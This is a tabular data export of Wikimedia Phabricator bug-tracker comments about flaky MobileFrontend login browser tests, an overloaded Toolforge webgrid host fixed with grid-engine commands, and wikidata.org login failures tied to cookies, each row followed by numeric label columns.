+The element is clearly visible but it fails to assert that... @dduvall weird hey?",,,1440177077,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0
+512424,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Let's try https://gerrit.wikimedia.org/r/232956,,,1440176451,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+512419,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,So it now seems to be flaking occasionally without @bmansurov's patch. Looking closely at a few failures the video suggests the test should be passing so I think it's just a case of increasing a timeout somewhere...,,,1440176197,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+512402,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,There are some style comments from @dduvall that you might want to take a look at.,,,1440174405,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0
+512146,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232891 had a related patch set uploaded (by Bmansurov):
+Work around failing browser tests
+
+[[https://gerrit.wikimedia.org/r/232891]]
+",,,1440125601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+512134,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Looks like these are still flaking.
+https://integration.wikimedia.org/ci/job/mwext-mw-selenium/442/console
+
+Can someone drop everything and look at this asap? I suspect what is happening is for whatever reason steps are not waiting until the previous page has finished loading. A few steps such as ""check this completed"" should suffice.
+
+@dduvall ping - this is getting quite serious, so any help your team can give would be much appreciated, we may have to consider turning off the job temporarily and reverting back to Barry.",,,1440121046,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0
+512127,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232827 merged by jenkins-bot:
+QA: Assert login step has completely successfully before continuing
+
+[[https://gerrit.wikimedia.org/r/232827]]",,,1440120020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+512117,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Only possible theory is all our page loads got micro-seconds slower and caused this....,,,1440118953,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0
+512116,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"For transparency I have no idea why this is happening. If anyone can shed light on this I would be most appreciative. I still suspect something in the jjb job but @dduvall seems pretty certain that's not possible.
+
+4:53 PM <jdlrobson> in reference to ""marxarelli> one of a million moving browser test parts"" (in that they were all passing and now suddenly they are breaking and stopping merges and we don't know why)
+4:54 PM <jdlrobson> i assume someone committed something somewhere and it had a knock on effect here...
+4:54 PM <•marxarelli> possibly
+4:54 PM <jdlrobson> we need qa for our qa heh
+4:54 PM <•marxarelli> could have been in mw core, any of the MF dependencies, or in MF itself
+4:55 PM <•marxarelli> but it wasn't mw-selenium or the jjb job, i can tell ya that
+4:55 PM <•marxarelli> your version of mw-selenium is actually versioned and the dependency is clearly locked :)
+4:57 PM <jdlrobson> so any theories on what's happened?
+4:57 PM <jdlrobson> did we merge something which didn't run the test job properly and borked everything?
+4:57 PM <•marxarelli> fwict, mediawiki doesn't have a dependency system
+4:57 PM <jdlrobson> it doesn't
+4:57 PM <jdlrobson> i just don't get it.. :-/
+4:58 PM → SPF|Cloud joined (uid11755@wikipedia/Southparkfan)
+4:58 PM <jdlrobson> ok i think i gotta fix for this login issue
+4:59 PM <•marxarelli> i mean, you could try git bisect and running the scenario, just to rule out changes in MF
+5:01 PM <jdlrobson> yeh it's just super weird
+",,,1440118845,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+511911,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232827 had a related patch set uploaded (by Jdlrobson):
+Give login step time to complete and success
+
+[[https://gerrit.wikimedia.org/r/232827]]
+",,,1440099605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+511777,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,@Jdlrobson: Thanks for the hint. Guess which browser the integration environment uses/which browser I didn't run the tests with in T109593#1557091… Chrome.,,,1440089727,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0
+511618,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,You may need to set MEDIAWIKI_ENVIRONMENT=integration,,,1440081046,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+511615,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"All integration tests but the ""Search for partial text"" test pass for me locally.",,,1440080864,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0
+511613,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,I'm seeing these tests (`features/editor_wikitest_nosave.feature`) pass locally using PhantomJS and Firefox.,,,1440080496,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+109412,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"the trusty webgrid queue has been overloaded for > 12 hours now. Andrew and I can't figure out how to get the host configured correctly. Please fix asap.
+
+my attempts: please see https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/SAL",Unbreak Now!,100.0,1439886190,1439909089.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_description,resolved,True,c3,3,True,True,True,6,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+510160,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I think so, for now. I still need to document what I did in more detail (T109417) and write up a post-mortem, but I think it's crisis averted for now.",,,1439909089,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+510158,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Okay, now that I have done practically nothing, except changing the list in `qconf -mhgrp \@webgrid` back to `…-1411.tools.…` because I hadn't considered that the host was not in `host_aliases`, and @valhallasw did a lot, there are no pending jobs, and the host seems to run jobs, is this task done?",,,1439908726,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+510144,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ugh, wrong column.  Yes there were and still are jobs running on that host.",,,1439906610,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+510142,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I'm sorry, I read your comment too late.  But `qstat -f` showed no running jobs anyway?",,,1439906575,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0
+510141,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ha!  The alias list struck:
+
+```
+scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.eqiad.wmflabs
+scfc@tools-bastion-01.eqiad.wmflabs removed ""tools-webgrid-lighttpd-1411.eqiad.wmflabs"" from execution host list
+scfc@tools-bastion-01:~$
+```
+
+(Side note: I assume the disabled queues are disabled for the upcoming reboot?)",,,1439906518,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+510139,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Ha!  The alias list stroke:
+
+```
+scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.eqiad.wmflabs
+scfc@tools-bastion-01.eqiad.wmflabs removed ""tools-webgrid-lighttpd-1411.eqiad.wmflabs"" from execution host list
+scfc@tools-bastion-01:~$
+```
+
+(Side note: I assume the disabled queues are disabled for the upcoming reboot?)",,,1439906500,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0
+510137,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"Note that there are jobs running on -1411 at the moment, so please be careful with the sge magic.
+
+More DNS crazyness with
+
+tools-exec-1401.tools.eqiad.wmflabs vs tools-exec-1401.eqiad.wmflabs 
+
+and 
+
+tools-exec-catscan.tools.eqiad.wmflabs vs tools-exec-catscan.eqiad.wmflabs. 
+
+those two don't have jobs running so might be better targets to figure this out.",,,1439906334,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0
+510135,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"I did so far:
+
+- `qconf -mhgrp \@webgrid` => `tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs` => `tools-webgrid-lighttpd-1411.eqiad.wmflabs` (consistency always good)
+
+But:
+
+```
+scfc@tools-bastion-01:~$ qconf -de tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs
+Host object ""tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs"" is still referenced in cluster queue ""webgrid-lighttpd"".
+scfc@tools-bastion-01:~$
+```
+
+So I `qconf -mhgrp \@webgrid` because `qconf -sq webgrid-lighttpd` referenced `@webgrid`, removed `-1411` completely, tried again `qconf -de`, but still no luck, so I added `-1411` back with `qconf -mhgrp \@webgrid`.",,,1439906191,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1
+510005,Enable tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs and build more webgrid hosts,"```
+                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1403.eqiad.wmflabs"" dropped because it is temporarily not available
+                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1404.eqiad.wmflabs"" dropped because it is temporarily not available
+                            queue instance ""webgrid-lighttpd@tools-webgrid-lighttpd-1411.tools.eqiad.wmflabs"" dropped because it is temporarily not available
+```
+?
+
+seems to be caused by gridengine-exec not running.  sudo service gridengine-exec start seems to fix it on these hosts.",,,1439887017,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-rbg6nknjhrupmnlx4jm2,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0
+109038,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"People are reporting that they are unable to log into wikidata.org and being redirected even though they're not logged in. Clearing all cookies fixes the issue.
+
+Reports:
+* https://www.wikidata.org/wiki/Wikidata:Contact_the_development_team#Cannot_log_in
+* {T108999} (probably incorrectly duped)
+* https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#InterWiki
+* Lydia said some people also reported this via Twitter.
+* @aude said she couldn't log in until she cleared her cookies on IRC
+
+Possible cause could be {0275738d2d10544b474ea1aaa8a5080912323407}?",Unbreak Now!,100.0,1439535298,1440766680.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-un2pilpqiazqdfsiinqa,task_description,resolved,True,c3,3,True,False,True,6,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1
+529327,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 238418 merged by BBlack:
+Remove wikidata CA cookie hacks
+
+[[https://gerrit.wikimedia.org/r/238418]]",,,1442495900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+527518,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 238418 had a related patch set uploaded (by BBlack):
+Remove wikidata CA cookie hacks
+
+[[https://gerrit.wikimedia.org/r/238418]]
+",,,1442319468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+516808,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@sjoerddebruin: This also fixed it for one of the people in the office who still had the issue. I think we can take down the note on the main page.,,,1440784763,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0
+516765,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@JanZerebecki Fixed for me.,,,1440781565,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0
+516708,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234517 merged by BBlack:
+refactor wikidata CA cookies workarounds a bit
+
+[[https://gerrit.wikimedia.org/r/234517]]",,,1440776206,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+516633,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234517 had a related patch set uploaded (by BBlack):
+refactor wikidata CA cookies workarounds a bit
+
+[[https://gerrit.wikimedia.org/r/234517]]
+",,,1440766915,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+516628,[Bug] Users are unable to login on wikidata.org until they clear their cookies,@Keegan Thx. Should be fixed now. Please retry.,,,1440766680,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+516620,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234510 merged by BBlack:
+Another CentralAuth double cookie workaround
+
+[[https://gerrit.wikimedia.org/r/234510]]",,,1440765422,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+516613,[Bug] Users are unable to login on wikidata.org until they clear their cookies,"Change 234510 had a related patch set uploaded (by JanZerebecki):
+Another CentralAuth double cookie workaround
+
+[[https://gerrit.wikimedia.org/r/234510]]
+",,,1440764544,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+516158,[Bug] Users are unable to login on wikidata.org until they clear their cookies,">>! In T109038#1576174, @JanZerebecki wrote:
+> If you can still reproduce this, we need to know your cookies for wikidata.org and subdomains to be able to fix this. (At least the cookie names/keys, don't publicly publish the values. You can send me a private message through Phabricator or on wiki if you want to be sure to not accidentally publish something private.)
+
+Reproduced and sent to @JanZerebecki and @aude",,,1440706863,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-un2pilpqiazqdfsiinqa,task_subcomment,,True,c3,3,False,,,8,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1
